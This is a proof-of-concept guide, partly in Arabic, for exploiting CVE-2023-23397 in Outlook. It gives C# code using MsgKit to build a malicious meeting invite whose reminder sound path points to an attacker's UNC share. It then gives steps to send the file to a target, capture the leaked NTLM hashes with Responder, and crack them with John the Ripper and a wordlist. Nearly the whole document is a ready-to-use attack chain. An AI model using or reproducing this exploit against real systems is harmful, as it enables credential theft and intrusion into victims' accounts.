
CVE-2023-23397 إثبات المفهوم C#
CVE-2023-23397 C# PoC
1- قم بتنزيل msgkit
2- عدّل class الخاص بـ appointment وأضف ما يلي:

3- أنشئ class جديدًا داخل المشروع لتعيين خصائص ملف msg:
using MsgKit.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MsgKit
{
class Program
{
static void Main(string[] args)
{
using (var appointment = new Appointment(
new Sender("[email protected]", "moneertv"),
new Representing("[email protected]", "moneertv"),
"CVE-2023-23397"))
{
appointment.Recipients.AddTo("[email protected]", "muneer aqraa");
appointment.Subject = "CVE-2023-23397";
appointment.Location = "Neverland";
appointment.MeetingStart = DateTime.Now.Date.AddDays(2).Date;
appointment.MeetingEnd = DateTime.Now.Date.AddDays(3).Date;
appointment.AllDay = true;
appointment.BodyText = "CVE-2023-23397";
appointment.BodyHtml = "<html><head></head><body><b>testing CVE-2023-23397</b></body></html>";
appointment.SentOn = DateTime.UtcNow;
appointment.Importance = MessageImportance.IMPORTANCE_NORMAL;
appointment.IconIndex = MessageIconIndex.UnsentMail;
appointment.PidLidReminderFileParameter = @"\\192.168.1.222\";
appointment.PidLidReminderOverride = true;
appointment.Save(@"C:\Users\Moneer\Desktop\exploits\CVE-2023-23397\MsgKit-master\generated email msg\dirty.msg");
}
}
}
}
4- غيّر خصائص نوع الإخراج للمشروع إلى console:

5- شغّل المشروع لإنشاء dirty.msg
6- أرسل الرسالة إلى الهدف الضعيف، وانتظر حتى يتم تفعيل تذكير الاجتماع.
6-2- أثناء الانتظار، على جهاز kali الذي وضعنا عنوان IP الخاص به في الـ main class، قم بتشغيل الأمر التالي للاستمرار في الاستماع لأي شخص يلتقط الطُعم: # responder -I eth0 -v
7- بمجرد حصولك على الـ hashes، قم بتخزينها في ملف، ثم شغّل john ripper على الـ hashes باستخدام قائمة كلمات (مثل: rockyou)